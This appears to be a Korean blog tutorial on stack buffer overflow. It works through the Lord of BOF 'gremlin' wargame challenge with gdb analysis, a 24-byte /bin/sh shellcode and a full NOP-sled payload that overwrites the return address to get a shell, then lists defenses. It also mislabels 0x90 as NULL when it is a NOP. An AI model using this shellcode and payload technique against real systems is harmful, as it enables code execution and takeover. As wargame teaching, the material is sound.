[시스템 해킹] Buffer OverFlow 공격
(BOF, 버퍼 오버플로우)
Buffor Overflow는 길이값 검증을 제대로 하지 않아서 할당된 메모리 공간을 넘어서 다른 메모리까지 덮어쓸 수 있는 취약점이다. 줄여 BOF라고 부른다.
Buffer Overflow의 개념
- 버퍼 오버플로우 공격은 데이터 길이에 대한 불명확한 정의를 악용해서 덮어쓸 때 발생
- 버퍼 오버 플로우의 종류 :
1) Stack Buffer Overflow : 스택 구조 상 할당된 버퍼들이 정의된 버퍼의 한계치를 넘는 경우 복귀 주소를 변경하여 공격자가 임의의 코드를 수행하도록 하는 공격
2) Heap Buffer Overflow : 힙 구조 상, 최초 정의된 힙 메모리 사이즈를 초과하는 문자열들이 힙 버퍼에 할당될 때, 공격자가 데이터 변경, 함수주소 변경으로 임의의 코드를 수행하는 공격
주로, pwnable을 풀때 bof 공격은 쉘코드를 다양한 방식으로 삽입하여 권한이 높은 사용자의 쉘로 접속하도록 하는 게 목표이다.
Buffer Overflow 예시
해커스쿨 Lord Of Bof(LOB)의 gate 문제이다.
📌 목표는 쉘코드 획득해서 다음 단계로 가는 비밀번호를 알아내는 것이다.
파일명 : gremlin
int main(int argc, char *argv[])
{
char buffer[256];
if(argc < 2){
printf("argv error\n");
exit(0);
}
strcpy(buffer, argv[1]);
printf("%s\n", buffer);
}
char buffer[256]; 으로 buffer로 256bytes가 설정된다.
하지만 strcpy (buffer, argv[1]);에서는 argv[1]에 대한 입력값 길이 제한이 없이 buffer로 복사가 된다.
👉 buffer overflow가 발생한다.
해당 코드를 gdb를 통해서 분석해보면
1. 함수 프롤로그
push %ebp
mov %ebp %esp
를 통해서 함수 프롤로그가 시작
2. 버퍼 할당
sub %esp, 0x100 으로 buffer 변수에 대한 공간이 할당된다.
0x100(16진수) 👉 256 (10진수) 이기 때문에
스택 구조를 그리면 아래와 같다.
3. 목표 : 우리의 목표는 쉘코드를 넣고 버퍼오버플로우를 통해서 RET를 쉘코드 주소로 변조하는 것이다.
1) 쉘코드 구하기
24bytes 쉘코드 :
\x31\xc0\x50\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\x50\x53\x89\xe1\x99\xb0\x0b\xcd\x80
* 여러 조건에 따라 다양한 쉘코드가 필요해서 모은 쉘코드 관련 글 :
2023.02.07 - [시스템 보안/시스템 해킹] - [시스템 해킹] 쉘코드 모음
2) 페이로드 구성해 보기 :
스택을 보면, buffer 256bytes + SFP 4bytes + RET 4bytes로 구성되어 있다.
buffer + SFP (총 260bytes) : 쉘코드 삽입
RET (4bytes) : 쉘이 있는 주소 삽입
4. 쉘 위치 구하기
strcpy 함수가 실행된 이후 버퍼의 위치를 확인하기 위해서 strcpy 뒤에 breakpoint를 건다.
b *main+59
인자값으로 A 256개를 주어서 실행시킨 후 $esp를 확인해 보면,
0x41이 시작하는 주소를 할 수 있다. 👉 0xbffff938
5. 최종페이로드 만들기
1) buffer + SFP (총 260bytes) : 쉘코드 삽입
👉 쉘코드는 24bytes, 나머지를 0x90(NULL)로 채운다.
* 이때, 쉘코드를 인자값으로 바로 넣으면 오류가 발생하는 경우가 발생한다.
그래서 앞에도 NULL값을 넣고 뒤에도 NULL값을 넣어서 페이로드를 구성해야 한다.
2) RET (4bytes) : 쉘이 있는 주소 삽입 👉 0xbffff938
스택 구조를 그리면 아래와 같을 거 같다.
3) 최종 페이로드 :
./gremlin `python -c 'print "\x90"*40+"\x31\xc0\x50\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\x50\x53\x89\xe1\x99\xb0\x0b\xcd\x80"+"\x90"*196+"\x38\xf9\xff\xbf"'`
- 실행결과 : bash 쉘을 얻을 수 있다!
Buffer Overflow 공격 대응
1. 버퍼 오버 플로우에 취약한 함수 사용하지 않기
[취약함수 목록]
- strcpy (char *dest, const char *src);
- strcat (char *dest, const char *src);
- getwd(char *buf);
- gets(char *s);
- fscanf(FILE *stream, const char *format, ...);
- scanf(const char *format, ...);
- realpath(char *path, char resolved_path[]);
- sprintf(char *str, const char *format);
2. 최신 운영체제 사용
최신 운영체제에는 자체적으로 보호기법(non-executable stack, 스택가드, 스택 실드)이 있어 공격 코드 실행이 되지 않도록 한다.
3. 컴파일 검사
컴파일 단계에서 안전한 표준 라이브러리를 사용하여 코딩
Buffer Overflow를 이용한 공격 기법들이 다양하기 때문에, 해당 내용을 시간이 나면 하나씩 추가하고자 한다.